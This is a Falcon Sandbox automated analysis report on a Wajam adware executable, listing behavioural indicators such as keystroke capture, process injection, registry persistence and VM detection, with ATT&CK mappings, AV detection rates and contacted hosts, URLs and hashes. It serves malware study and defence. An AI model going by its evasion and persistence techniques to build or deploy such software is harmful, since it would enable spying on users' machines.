Free Automated Malware Analysis Service - powered by Falcon Sandbox - Viewing online file analysis results for '6a393ecb2861a27240d322dd407f6adb7218b0a5.exe'

malicious

Threat Score: 100/100 AV Detection: 65% Labeled as: Adware.Generic #evasive

6a393ecb2861a27240d322dd407f6adb7218b0a5.exe

This report is generated from a file or URL submitted to this webservice on June 19th 2019 15:35:00 (UTC) and action script Heavy Anti-Evasion
Guest System: Windows 7 32 bit, Professional, 6.1 (build 7601), Service Pack 1
Report generated by Falcon Sandbox v8.30 © Hybrid Analysis

Overview Sample not shared Re-analyze Hash Seen Before Show Similar Samples Report False-Positive Request Report Deletion

Incident Response

Risk Assessment

Spyware: Contains ability to open the clipboard
Contains ability to open the clipboard
Contains ability to retrieve keyboard strokes
POSTs files to a webserver
Persistence: Modifies auto-execute functionality by setting/creating a value in the registry
Writes data to a remote process
Fingerprint: Queries kernel debugger information
Queries sensitive IE security settings
Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)
Reads the active computer name
Reads the cryptographic machine GUID
Evasive: Found a reference to a WMI query string known to be used for VM detection
Marks file for deletion
Network Behavior: Contacts 9 domains and 9 hosts. View all details

MITRE ATT&CK™ Techniques Detection

This report has 33 indicators that were mapped to 25 attack techniques and 9 tactics. View all details

Execution
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1035	Service Execution	Execution	Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. Learn more		Contains ability to open/control a service 1 confidential indicators
T1047	Windows Management Instrumentation	Execution	Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. Learn more		Found a reference to a WMI query string known to be used for VM detection
Persistence
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1179	Hooking	Credential Access Persistence Privilege Escalation	Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Learn more		Installs hooks/patches the running process	Loads rich edit control libraries
T1060	Registry Run Keys / Start Folder	Persistence	Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. Learn more		Modifies auto-execute functionality by setting/creating a value in the registry
T1215	Kernel Modules and Extensions	Persistence	Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. Learn more			Opens the Kernel Security Device Driver (KsecDD) of Windows
Privilege Escalation
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1055	Process Injection	Defense Evasion Privilege Escalation	Process injection is a method of executing arbitrary code in the address space of a separate live process. Learn more	Writes data to a remote process Allocates virtual memory in a remote process
T1179	Hooking	Credential Access Persistence Privilege Escalation	Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Learn more		Installs hooks/patches the running process	Loads rich edit control libraries
Defense Evasion
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1107	File Deletion	Defense Evasion	Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Learn more		Marks file for deletion
T1055	Process Injection	Defense Evasion Privilege Escalation	Process injection is a method of executing arbitrary code in the address space of a separate live process. Learn more	Writes data to a remote process Allocates virtual memory in a remote process
T1045	Software Packing	Defense Evasion	Software packing is a method of compressing or encrypting an executable. Learn more		PE file is packed with UPX
T1112	Modify Registry	Defense Evasion	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in [[Persistence]] and [[Execution]]. Learn more		Modifies proxy settings	Creates or modifies windows services
Credential Access
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1056	Input Capture	Collection Credential Access	Adversaries can use methods of capturing user input for obtaining credentials for [[Technique/T1078\|Valid Accounts]] and information [[Collection]] that include keylogging and user input field interception. Learn more		Contains ability to retrieve keyboard strokes
T1179	Hooking	Credential Access Persistence Privilege Escalation	Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Learn more		Installs hooks/patches the running process	Loads rich edit control libraries
Discovery
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1010	Application Window Discovery	Discovery	Adversaries may attempt to get a listing of open application windows. Learn more			Scanning for window names
T1124	System Time Discovery	Discovery	The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. Learn more			Contains ability to query machine time Contains ability to query the machine timezone
T1012	Query Registry	Discovery	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. Learn more		Reads information about supported languages Queries sensitive IE security settings Reads the active computer name Reads the cryptographic machine GUID Queries the internet cache settings (often used to hide footprints in index.dat or internet cache) 1 confidential indicators	Reads the registry for installed applications
T1082	System Information Discovery	Discovery	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Learn more		Contains ability to query CPU information
T1120	Peripheral Device Discovery	Discovery	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Learn more			Queries volume information of an entire harddrive Queries volume information
T1083	File and Directory Discovery	Discovery	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Learn more			Contains ability to query volume size
T1046	Network Service Scanning	Discovery	Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Learn more		1 confidential indicators
Collection
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1056	Input Capture	Collection Credential Access	Adversaries can use methods of capturing user input for obtaining credentials for [[Technique/T1078\|Valid Accounts]] and information [[Collection]] that include keylogging and user input field interception. Learn more		Contains ability to retrieve keyboard strokes
T1114	Email Collection	Collection	Adversaries may target user email to collect sensitive information from a target. Learn more		1 confidential indicators
T1115	Clipboard Data	Collection	Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. Learn more		Contains ability to open the clipboard
Command and Control
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1132	Data Encoding	Command and Control	Command and control (C2) information is encoded using a standard data encoding system. Learn more			HTTP request contains Base64 encoded artifacts
Exfiltration
ATT&CK ID	Name	Tactics	Description	Malicious Indicators	Suspicious Indicators	Informative Indicators
T1002	Data Compressed	Exfiltration	An adversary may compress data (e. Learn more			Matched Compiler/Packer signature

Additional Context

OSINT

External References: 459031.csv-ids
External User Tags: #malware

Indicators

Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.

Malicious Indicators 12
External Systems
- Detected Suricata Alert
  
  details
  
  Detected alert "ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers" (SID: 2011227, Rev: 5, Severity: 1) categorized as "A Network Trojan was detected"
  
  source
  
  Suricata Alerts
  
  relevance
  
  10/10
- Sample was identified as malicious by a large number of Antivirus engines
  
  details
  
  34/71 Antivirus vendors marked sample as malicious (47% detection rate)
  
  source
  
  External System
  
  relevance
  
  10/10
- Sample was identified as malicious by at least one Antivirus engine
  
  details
  
  1/15 Antivirus vendors marked sample as malicious (6% detection rate)
  34/71 Antivirus vendors marked sample as malicious (47% detection rate)
  
  source
  
  External System
  
  relevance
  
  8/10
General
- The analysis extracted a file that was identified as malicious
  
  details
  
  8/56 Antivirus vendors marked dropped file "uninstall.exe" as malicious (classified as "Wajam" with 14% detection rate)
  19/75 Antivirus vendors marked dropped file "WajamUpdater.exe" as malicious (classified as "Adware.Wajam" with 25% detection rate)
  22/73 Antivirus vendors marked dropped file "priam_bho.dll" as malicious (classified as "PUA.Wajam" with 30% detection rate)
  1/78 Antivirus vendors marked dropped file "ExecCmd.dll" as malicious (classified as "Suspicious" with 1% detection rate)
  2/79 Antivirus vendors marked dropped file "DcryptDll.dll" as malicious (classified as "DNSChanger.aho" with 2% detection rate)
  4/78 Antivirus vendors marked dropped file "IE_approveExt.exe" as malicious (classified as "Pua.Wajam" with 5% detection rate)
  1/79 Antivirus vendors marked dropped file "nsisos.dll" as malicious (classified as "Suspicious" with 1% detection rate)
  3/79 Antivirus vendors marked dropped file "MoreInfo.dll" as malicious (classified as "Unavailable" with 3% detection rate)
  
  source
  
  Binary File
  
  relevance
  
  10/10
- The analysis spawned a process that was identified as malicious
  
  details
  
  4/78 Antivirus vendors marked spawned process "IE_approveExt.exe" (PID: 1096) as malicious (classified as "Pua.Wajam" with 5% detection rate)
  19/75 Antivirus vendors marked spawned process "WajamUpdater.exe" (PID: 3708) as malicious (classified as "Adware.Wajam" with 25% detection rate)
  
  source
  
  Monitored Target
  
  relevance
  
  10/10
Installation/Persistance
- Allocates virtual memory in a remote process
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" allocated memory in "%APPDATA%\Microsoft\Windows\Cookies\E4O0EOXN.txt"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" allocated memory in "%TEMP%\nsfE187.tmp\SimpleSC.dll"
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" allocated memory in "C:\install2.log"
  
  source
  
  API Call
  
  relevance
  
  7/10
  
  ATT&CK ID
  
  T1055 (Show technique in the MITRE ATT&CK™ matrix)
- Writes data to a remote process
  
  details
  
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" wrote 32 bytes to a remote process "%PROGRAMFILES%\Internet Explorer\iexplore.exe" (Handle: 1044)
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" wrote 52 bytes to a remote process "C:\Program Files\Internet Explorer\iexplore.exe" (Handle: 1044)
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" wrote 4 bytes to a remote process "C:\Program Files\Internet Explorer\iexplore.exe" (Handle: 1044)
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" wrote 1500 bytes to a remote process "C:\Program Files\Wajam\Updater\WajamUpdater.exe" (Handle: 1060)
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" wrote 4 bytes to a remote process "C:\Program Files\Wajam\Updater\WajamUpdater.exe" (Handle: 1060)
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" wrote 32 bytes to a remote process "C:\Program Files\Wajam\Updater\WajamUpdater.exe" (Handle: 1060)
  "6a393ecb2861a27240d322dd407f6adb7218b0a5.exe" wrote 52 bytes to a remote process "C:\Program Files\Wajam\Updater\WajamUpdater.exe" (Handle: 1060)
  "cmd.exe" wrote 32 bytes to a remote process "C:\Program Files\Wajam\IE\IE_approveExt.exe" (Handle: 80)
  "cmd.exe" wrote 52 bytes to a remote process "C:\Program Files\Wajam\IE\IE_approveExt.exe" (Handle: 80)
  "cmd.exe" wrote 4 bytes to a remote process "C:\Program Files\Wajam\IE\IE_approveExt.exe" (Handle: 80)
  "iexplore.exe" wrote 32 bytes to a remote process "C:\Program Files\Internet Explorer\iexplore.exe" (Handle: 888)
  "iexplore.exe" wrote 52 bytes to a remote process "C:\Program Files\Internet Explorer\iexplore.exe" (Handle: 888)
  "iexplore.exe" wrote 4 bytes to a remote process "C:\Program Files\Internet Explorer\iexplore.exe" (Handle: 888)
  
  source
  
  API Call
  
  relevance
  
  6/10
  
  ATT&CK ID
  
  T1055 (Show technique in the MITRE ATT&CK™ matrix)
Network Related
- Found more than one unique User-Agent
  
  details
  
  Found the following User-Agents: NSIS_Inetc (Mozilla)
  Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
  Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
  Microsoft-CryptoAPI/6.1
  
  source
  
  Network Traffic
  
  relevance
  
  5/10
- Malicious artifacts seen in the context of a contacted host
  
  details
  
  Found malicious artifacts related to "5.135.138.118": ...
  
  URL: http://wajam.com/download/ (AV positives: 3/70 scanned on 06/19/2019 10:41:15)
  URL: http://www.wajam.com/download/ (AV positives: 2/70 scanned on 06/19/2019 07:39:25)
  URL: http://wajam.com/download/wajam_download.exe (AV positives: 2/70 scanned on 06/19/2019 05:30:35)
  URL: http://socialwebsearch.co/download/ (AV positives: 4/70 scanned on 06/16/2019 07:13:17)
  URL: http://www.socialwebsearch.co/download/ (AV positives: 3/70 scanned on 06/13/2019 23:51:25)
  File SHA256: 8a482f2271a42c5f54c96e816a84340a6f2357a5b81f927d07d00788f5140a41 (AV positives: 1/65 scanned on 06/19/2019 04:45:51)
  File SHA256: 81cf1f2d60ed081b06e45d860abc1d5b7dd664b77b7193e04cbb014fc92dbb68 (AV positives: 43/70 scanned on 06/12/2019 04:34:14)
  File SHA256: 176f53f07b3b159a8b2dde4edb7e08287ef24705777cf1b12ca9616426ad7ad5 (AV positives: 36/71 scanned on 06/07/2019 07:47:59)
  File SHA256: 7fd04a40bd34855aedf36175ee99d89d62b5b25df2d4cd675dea3c3d843961e1 (AV positives: 26/71 scanned on 04/23/2019 13:53:27)
  File SHA256: 974b45be66f78467e52322f6786927e41fd6f8482e52e445c8d5c093b9729f13 (AV positives: 39/70 scanned on 02/03/2019 09:17:36)
  File SHA256: e2d5dda7c3d1d0feba79933c1826561f8a83df57babc3705a353e426fb68d06c (Date: 01/07/2019 00:30:10)
  File SHA256: 0db73d0db95424df4a6817f18f075090bd475e3bae3c6d48d17d7e29e590219b (Date: 02/21/2015 01:21:35)
  File SHA256: 38bdd91490fddbbe9cbc65949f432a3cdb7f00142ba340e08a79ff5af775687e (Date: 02/10/2015 18:59:29)
  Found malicious artifacts related to "172.217.7.170": ...
  
  File SHA256: 336404d806cbb03bfec8dc60cd8413d39f6ca47adae0572477f31bc18f79ca22 (Date: 05/05/2018 22:44:40)
  File SHA256: fe05e3e070f6971796a4c12805b877f85c8b49e5278b859a0844f3fc994ae831 (Date: 05/05/2018 13:19:33)
  File SHA256: a553f2ff7003b5fa2d4c8e47272c659c98ea0c1293fa23e81e879c74c2fafcb5 (Date: 04/21/2018 16:32:03)
  File SHA256: 44e882709e943d36f8c512e0c603df895fab79f2e9e099f406fc29e38da5b0f2 (AV positives: 38/66 scanned on 04/11/2018 22:19:04)
  File SHA256: dfe210d31f3cb7c4c4bed901eb83579e8e72cdbbc7935482a402bdc05e730d57 (Date: 04/04/2018 13:48:06)
  File SHA256: 0e9683520e254094503ae0c381212e81554be09ec97039af0f61a0e6c8a225e2 (Date: 03/30/2018 20:31:48)
  File SHA256: adcb7a9c1fef0db1d03f63bb5dcb76bd0a0479c63d14645d106a257e16caec9b (AV positives: 29/68 scanned on 12/19/2017 23:30:42)
  File SHA256: 4681929e6c5344af2d54e85d3d9261a7371c8a0213ac95c970462ea1c32f65d4 (AV positives: 37/68 scanned on 12/07/2017 15:19:37)
  File SHA256: 36de74e3bfab5d938c77069b4fa4a190e0f8d7548a0892651fbe014913ecb2ce (AV positives: 15/64 scanned on 11/25/2017 16:49:35)
  File SHA256: db5d8a230105dd15216b90eea2de4407b5959602bfcf051f831bcbf11c564249 (AV positives: 31/68 scanned on 11/12/2017 20:54:25)
  Found malicious artifacts related to "192.229.163.25": ...
  
  URL: http://platform.twitter.com/widgets/tweet_button.html?url=http%3A%2F%2Fzoemoon.com%2F2013%2F08%2F11%2Fzoe-moon-astrology-weekly-forecast-aug-12-18%2F&amp%3Bcounturl=http%3A%2F%2Fzoemoon.com%2F2013%2F08%2F11%2Fzoe-moon-astrology-weekly-forecast-aug-12-18%2F&amp%3Bcount=horizontal&amp%3Btext=ZOE+MOON+ASTROLOGY+WEEKLY+FORECAST+AUG+12-18 (AV positives: 1/67 scanned on 08/22/2018 12:09:25)
  URL: http://platform.twitter.com/widgets/tweet_button.html?url=http%3A%2F%2Fteruc.dnsalias.net%2Fblog%2F2012%2F05%2F10%2F319&text=%5BASP.NET%20MVC%5D%E3%83%AA%E3%82%BD%E3%83%BC%E3%82%B9%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%8B%E3%82%89%E3%81%AE%E3%83%A1%E3%83%83%E3%82%BB%E3%83%BC%E3%82%B8%E5%8F%96%E5%BE%97%E3%81%A8%E4%BB%BB%E6%84%8F%E3%81%AE%E7%BD%AE%E6%8F%9B%E6%96%87%E5%AD%97%E5%88%97%E3%81%AB%E5%AF%BE%E5%BF%9C%E3%81%97%E3%81%9F%E6%A4%9C%E8%A8%BC%E5%B1%9E%E6%80%A7%E3%81%AE%E5%AE%9F%E8%A3%85&lang=ja&count=horizontal (AV positives: 1/64 scanned on 01/30/2017 04:59:29)
  URL: https://pbs.twimg.com/media/CahUxqZW4AASA7m.jpg (AV positives: 1/67 scanned on 02/21/2016 16:11:36)
  URL: https://pbs.twimg.com/media/CahEtHBWEAERmWE.jpg (AV positives: 1/67 scanned on 02/21/2016 16:07:26)
  URL: https://pbs.twimg.com/media/Cbv9rE7WEAAYhTF.jpg (AV positives: 1/67 scanned on 02/21/2016 15:59:12)
  File SHA256: 4fde0ef98e790ec50a72f4277c88c3bed1c93fc4d8b81ac0d81aa32943a264a6 (Date: 06/18/2019 21:53:12)
  File SHA256: 19ff61db918e59df80acc1bdd44580b7c559d4a99b3535dfa9a8137ab6dff7bc (Date: 06/17/2019 19:17:38)
  File SHA256: 5184b174cd09596c1984fb54fa4d6b60a9522073f8b1e840f1fd7003bc24c155 (Date: 06/17/2019 19:17:27)
  File SHA256: e7da1bd0437a0a0e4f39a312257c2fad40140378fee4ff2ba82873083132f2d3 (AV positives: 17/71 scanned on 12/22/2018 02:47:17)
  File SHA256: d4539d82927e72df973e009f5f730188447af920869d9320ebb9a0b6c3fd4cd3 (AV positives: 1/70 scanned on 09/01/2018 00:06:05)
  File SHA256: 183a783e4b4137053cb32215ffd258948b557afeec70aafdd4f4aa9ade31366c (AV positives: 40/71 scanned on 08/03/2018 13:54:20)
  File SHA256: 4d50fcf12a9057f50c84b726577c1a2a1e23e586e1817883ed55b7c426a02fe2 (AV positives: 1/69 scanned on 07/07/2018 02:27:49)
  File SHA256: fff82662e3589be64093618e8e4ff7836c527f3f747aede0143aff5d02450780 (AV positives: 28/68 scanned on 07/06/2018 17:51:09)
  File SHA256: 2c361e8fee10884b61e94d8995da90ab0f8baebd1f12af13f4e6267dc6ddb1bd (Date: 11/23/2017 14:52:33)
  File SHA256: 1be0c624091f49e1b67875f4bbe664cd55acdef22c28bcb7ee245c61907b0ec7 (Date: 11/23/2017 13:29:00)
  Found malicious artifacts related to "172.217.5.234": ...
  
  File SHA256: 1ca8850f3938ec72b5bdb571164424dd4d7b9bd247d378d7b58bba2457c09a35 (AV positives: 58/72 scanned on 05/15/2019 23:34:11)
  File SHA256: 100977320924b9f1b7f134c770daab86479b57f8e1d8f8c1f001c8b54241b477 (AV positives: 50/65 scanned on 02/28/2019 22:15:41)
  File SHA256: f4e04e9ab842c2e61b4bb4aab44fe58486c4b8a22c9517cc8bb39d8a18b8abde (AV positives: 48/64 scanned on 02/28/2019 22:55:42)
  File SHA256: e69e9a3bf88c203712ae998de30acfb994206897b64df3ab9a47707d6a591231 (Date: 05/12/2018 16:26:53)
  File SHA256: af3ee003a5ded63597b7fba40edeb8f7ca1e7c410b1dd72bf1aa04249de36947 (Date: 05/03/2018 20:29:36)
  File SHA256: fe0cabbd60c38b0a22048025480ea6a26af0cd4e0fe3a2aa36a5ce4866cc8a44 (Date: 04/26/2018 02:39:17)
  File SHA256: fa42d12d0c05c0c9c965d2cdd31d967a81b823553607319f976ea96e78032cc7 (Date: 02/07/2018 17:49:00)
  File SHA256: 0da465adf9c8d068245bd2cec3164f2956d14d3a771730bb30c4d452eaa6bd78 (Date: 12/22/2017 06:40:24)
  File SHA256: 9efef38d35eb6a917860e081b96259d4322be6583c2e6d6e3d18ceca5efd2218 (AV positives: 51/67 scanned on 12/21/2017 20:41:44)
  File SHA256: 44a7043877f2f5cb149df3ac39e13dba742240998ea55c9472044d7b09a11fa3 (AV positives: 35/68 scanned on 12/21/2017 14:53:27)
  Found malicious artifacts related to "74.125.192.155": ...
  
  URL: https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=1561689094.1430196265&jid=1743330473&_v=j35&z=1388274836 (AV positives: 1/63 scanned on 04/28/2015 04:45:35)
  URL: https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=982038166.1430196095&jid=339211618&_v=j35&z=1108641866 (AV positives: 1/63 scanned on 04/28/2015 04:43:02)
  URL: https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=616252409.1430195976&jid=803007462&_v=j35&z=1987499391 (AV positives: 1/63 scanned on 04/28/2015 04:40:47)
  URL: https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=789606747.1430195847&jid=2024444283&_v=j35&z=618399270 (AV positives: 1/63 scanned on 04/28/2015 04:39:59)
  URL: https://stats.g.doubleclick.net/r/collect?v=1&aip=1&t=dc&_r=3&tid=UA-51915447-1&cid=1863498444.1430195804&jid=1759761465&_v=j35&z=1909541938 (AV positives: 1/63 scanned on 04/28/2015 04:38:57)
  File SHA256: bfb33147f9b8bd5db589d5354a0d477217a926f8cd92617fc56467875f589086 (Date: 04/25/2019 03:59:15)
  File SHA256: 763238e897f996710e9a24c95f8e60015f630e3f0b1b74a2b9ffe0f255277dfb (AV positives: 22/54 scanned on 11/04/2014 10:31:17)
  File SHA256: 8679362afe8969e39c8a67bd10dc4f154067e9b1c67b774f41efb11315df5314 (AV positives: 20/53 scanned on 08/31/2014 19:10:16)
  File SHA256: e717b4a152e1951565d90cd594868766146f57248bc9e1e37f317f7234fd5f15 (AV positives: 1/52 scanned on 07/14/2014 16:36:14)
  File SHA256: 18cda4fc1d191ed1d9e2dd77513a0e7cb928651510b1053049e8cd86e4cf1886 (AV positives: 1/50 scanned on 06/05/2014 12:00:08)
  File SHA256: 38b88de0565dee0113b4576650a26548c5f95f1a1ab4ed96dfc5f07ce80503bb (AV positives: 1/51 scanned on 02/15/2014 02:41:46)
  Found malicious artifacts related to "151.139.244.29": ...
  
  URL: http://indigenouspathwaysus.com/page-9/Cache/Bookmark/Chase0n3 (AV positives: 7/70 scanned on 06/19/2019 01:56:47)
  URL: http://indigenouspathwaysus.com/page-4/page-6/files/Cookies (AV positives: 5/67 scanned on 06/09/2019 02:02:43)
  URL: http://indigenouspathwaysus.com/page-4/page-5/Cache (AV positives: 8/67 scanned on 06/08/2019 08:02:57)
  URL: http://indigenouspathwaysus.com/page-9/Cache/Bookmark (AV positives: 3/67 scanned on 06/05/2019 14:10:05)
  URL: http://indigenouspathwaysus.com/page-4/page-6/files (AV positives: 2/67 scanned on 05/29/2019 13:29:18)
  File SHA256: 05073af551fd4064cced8a8b13a4491125b3cd1f08defe3d3970b8211c46e6b2 (Date: 02/27/2019 00:35:26)
  File SHA256: 7a0403cd44fddb5c9d88965bdd3b26d0562de81b7945ddbc4f56651760a2fbe2 (AV positives: 1/68 scanned on 11/16/2018 18:18:57)
  File SHA256: 10e720e38144e87e99c07dd82eaa63bfd785063341333b9b043c9f8a697059dd (AV positives: 1/69 scanned on 11/15/2018 02:05:13)
  File SHA256: ca5cfea416c583e9c87fd99f6e45f52fd00d5ae1976ecc347624da14acb797c4 (AV positives: 1/68 scanned on 11/11/2018 02:00:31)
  File SHA256: 876c706dcfd4b5e58ab3024d0df69ced0b75562f2718a5447c0be9adb920d1fe (AV positives: 60/68 scanned on 10/30/2017 17:26:59)
  File SHA256: 40042d29c459f49c02a54b6b930684b564d56e9d70eda1c3bae4613eaeb2a4e3 (Date: 08/27/2017 21:46:48)
  File SHA256: 2955e5ac943adc0df2aa71ec9233b376c62cf2abc85afb487330e8ef5bef2239 (Date: 08/03/2017 11:32:24)
  File SHA256: 248aa32d0683d6c1f435826bd1f7ee01dcdd38e9c7a971e26ca0af127040b945 (Date: 08/01/2017 18:11:30)
  File SHA256: 8f6136d4de51122f9bdefefeeeb57671c91f33fe18fb3b52e711b7fd23060410 (AV positives: 2/65 scanned on 07/28/2017 09:28:54)
  File SHA256: c73a1bd165b83a4f240b30628a36a0a7f9d9b1fda4e5ab76252c6122118704d5 (Date: 06/09/2017 03:02:41)
  Found malicious artifacts related to "172.217.7.131": ...
  
  File SHA256: bf3f597d290ffec7e2dfa0a33c74954be5fac77f36327f055bb4b8f838d4f618 (AV positives: 56/71 scanned on 06/17/2019 21:56:27)
  File SHA256: fdbac1c1d4f4052212fcab4656bd52aa813de741f03a9ceb587dda72dde312a6 (AV positives: 56/71 scanned on 06/15/2019 23:04:55)
  File SHA256: 6931482d4043722c1cf08ed16ca42a7e3e32a28ff31fb34657364308761137eb (AV positives: 59/71 scanned on 06/09/2019 22:55:42)
  File SHA256: 3856c5245e63fd08e822622796f3b72b04ddb9e2d33c189c6b9e2d8056841c25 (AV positives: 55/73 scanned on 06/08/2019 23:54:55)
  File SHA256: 5ba27a2b0bdf609c4df9a5a11f834f4fdd7a85aaacb7c65a0165674977e99f42 (AV positives: 56/72 scanned on 06/07/2019 23:49:16)
  File SHA256: 52fca8adb64e8a8f8b81214a612bbd1555dcff0679d63b077493f9b15e4b9427 (Date: 03/14/2018 11:02:03)
  File SHA256: c6b2aa73eecbcd38bb48fad255cf25046aac7fb766853e659bbe4369b3067c63 (Date: 03/14/2018 10:50:40)
  File SHA256: b40d1341722014701bfbcb5bf3040c77e693917a8049c782079bfe88d0fb4ffe (Date: 01/11/2018 04:06:03)
  File SHA256: 2d186e84ef5c67ef6c1e660f0ddb9d91f1e1ff60876a93228e357188791900f4 (Date: 01/10/2018 20:13:31)
  File SHA256: 60fafbfeeb435fee4d68896409c320636a05796e7936bdbc7ec6c9bc696ecec1 (Date: 12/14/2017 04:46:01)
  Found malicious artifacts related to "104.244.42.72": ...
  
  URL: https://syndication.twitter.com/ (AV positives: 1/66 scanned on 03/22/2019 12:15:44)
  URL: https://syndication.twitter.com/i/jot/syndication?l={%22_category_%22:%22syndicated_impression%22
  %22event_namespace%22:{%22client%22:%22web%22
  %22page%22:%22profile%22
  %22action%22:%22impression%22}
  %22triggered_on%22:1553255746886} (AV positives: 1/66 scanned on 03/22/2019 12:14:30)
  File SHA256: a210a164b2cfb981e2a6a6aad36706e8342a3eab2c81093b682a6f7e8799ecc3 (AV positives: 3/71 scanned on 06/18/2019 09:39:00)
  File SHA256: 0957ab909d52abc91dea24cc6c627813126e05429c770e43ef85c1aac1e7a76e (AV positives: 18/70 scanned on 06/17/2019 11:35:18)
  File SHA256: e58587bcb5c1273652d361f77c356f91dd5ca9436b62c28aeab31ed2a4449906 (AV positives: 5/71 scanned on 06/17/2019 14:55:41)
  File SHA256: ec1f9759d95d8b3f8274bae612a66a847bbb479ba78221966517abbcf50ed387 (AV positives: 11/72 scanned on 06/17/2019 14:26:24)
  File SHA256: 78f70ff918b9aa5cfe0de07f604c7e4b88ebdab7e8a1a6066372307859ed83e5 (AV positives: 19/71 scanned on 06/16/2019 08:42:21)
  
  source
  
  Network Traffic
  
  relevance
  
  10/10
- Multiple malicious artifacts seen in the context of different hosts
  
  details
  
  Found malicious artifacts related to "5.135.138.118": ...
  
  URL: http://wajam.com/download/ (AV positives: 3/70 scanned on 06/19/2019 10:41:15)
  URL: http://www.wajam.com/download/ (AV positives: 2/70 scanned on 06/19/2019 07:39:25)
  URL: http://wajam.com/download/wajam_download.exe (AV positives: 2/70 scanned on 06/19/2019 05:30:35)
  URL: http://socialwebsearch.co/download/ (AV positives: 4/70 scanned on 06/16/2019 07:13:17)
  URL: http://www.socialwebsearch.co/download/ (AV positives: 3/70 scanned on 06/13/2019 23:51:25)
  File SHA256: 8a482f2271a42c5f54c96e816a84340a6f2357a5b81f927d07d00788f5140a41 (AV positives: 1/65 scanned on 06/19/2019 04:45:51)
  File SHA256: 81cf1f2d60ed081b06e45d860abc1d5b7dd664b77b7193e04cbb014fc92dbb68 (AV positives: 43/70 scanned on 06/12/2019 04:34:14)
  File SHA256: 176f53f07b3b159a8b2dde4edb7e08287ef24705777cf1b12ca9616426ad7ad5 (AV positives: 36/71 scanned on 06/07/2019 07:47:59)
  File SHA256: 7fd04a40bd34855aedf36175ee99d89d62b5b25df2d4cd675dea3c3d843961e1 (AV positives: 26/71 scanned on 04/23/2019 13:53:27)
  File SHA256: 974b45be66f78467e52322f6786927e41fd6f8482e52e445c8d5c093b9729f13 (AV positives: 39/70 scanned on 02/03/2019 09:17:36)
  File SHA256: e2d5dda7c3d1d0feba79933c1826561f8a83df57babc3705a353e426fb68d06c (Date: 01/07/2019 00:30:10)
  File SHA256: 0db73d0db95424df4a6817f18f075090bd475e3bae3c6d48d17d7e29e590219b (Date: 02/21/2015 01:21:35)
  File SHA256: 38bdd91490fddbbe9cbc65949f432a3cdb7f00142ba340e08a79ff5af775687e (Date: 02/10/2015 18:59:29)
  Found malicious artifacts related to "172.217.7.170": ...
  
  File SHA256: 336404d806cbb03bfec8dc60cd8413d39f6ca47adae0572477f31bc18f79ca22 (Date: 05/05/2018 22:44:40)
  File SHA256: fe05e3e070f6971796a4c12805b877f85c8b49e5278b859a0844f3fc994ae831 (Date: 05/05/2018 13:19:33)
  File SHA256: a553f2ff7003b5fa2d4c8e47272c659c98ea0c1293fa23e81e879c74c2fafcb5 (Date: 04/21/2018 16:32:03)
  File SHA256: 44e882709e943d36f8c512e0c603df895fab79f2e9e099f406fc29e38da5b0f2 (AV positives: 38/66 scanned on 04/11/2018 22:19:04)
  File SHA256: dfe210d31f3cb7c4c4bed901eb83579e8e72cdbbc7935482a402bdc05e730d57 (Date: 04/04/2018 13:48:06)
